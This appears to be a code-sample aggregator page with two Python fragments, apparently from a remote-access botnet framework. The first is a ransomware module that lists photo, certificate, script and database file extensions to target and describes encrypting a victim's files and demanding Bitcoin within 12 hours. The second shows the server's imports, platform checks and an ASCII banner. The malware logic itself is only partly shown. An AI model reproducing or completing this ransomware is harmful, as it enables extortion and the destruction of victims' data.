Esempio n. 1
0
    '.cr2', '.dcr', '.rwl', '.rw2', '.pyc', '.kdc', '.erf', '.mef', '.mrw',
    '.nef', '.nrw', '.orf', '.raf', '.raw', '.r3d', '.ptx', '.css', '.pef',
    '.srw', '.x3f', '.der', '.cer', '.crt', '.pem', '.pfx', '.p12', '.p7b',
    '.p7c', '.html', '.css', '.js', '.rb', '.xml', '.wmi', '.sh', '.asp',
    '.aspx', '.plist', '.sql', '.vbs', '.ps1', '.sqlite'
]
usage = 'ransom <encrypt/decrypt/payment>'
description = """
Encrypt the files on a client host machine and ransom the decryption key
back to the currently logged-in user for a payment in Bitcoin to a randomly
generated temporary wallet address that expires in 12 hours
"""

# setup
if util.is_compatible(platforms, __name__):
    util.imports(packages, globals())


# main
def _threader(tasks):
    try:
        retries = 0
        while True:
            try:
                method, task = tasks.get_nowait()
                if callable(method):
                    method(task)
                tasks.task_done()
            except:
                if retries < 3:
                    retries += 1
Esempio n. 2
0
import threading
import subprocess
import collections

# modules
import core.util as util
import core.database as database
import core.security as security

# globals
packages = ['cv2','colorama','SocketServer']
platforms = ['win32','linux2','darwin']

# setup
util.is_compatible(platforms, __name__)
util.imports(packages, globals())

# globals
__threads = {}
__abort = False
__debug = bool('--debug' in sys.argv)
__banner__ = """ 

88                                  88
88                                  88
88                                  88
88,dPPYba,  8b       d8  ,adPPYba,  88,dPPYba,
88P'    "8a `8b     d8' a8"     "8a 88P'    "8a
88       d8  `8b   d8'  8b       d8 88       d8
88b,   ,a8"   `8b,d8'   "8a,   ,a8" 88b,   ,a8"
8Y"Ybbd8"'      Y88'     `"YbbdP"'  8Y"Ybbd8"'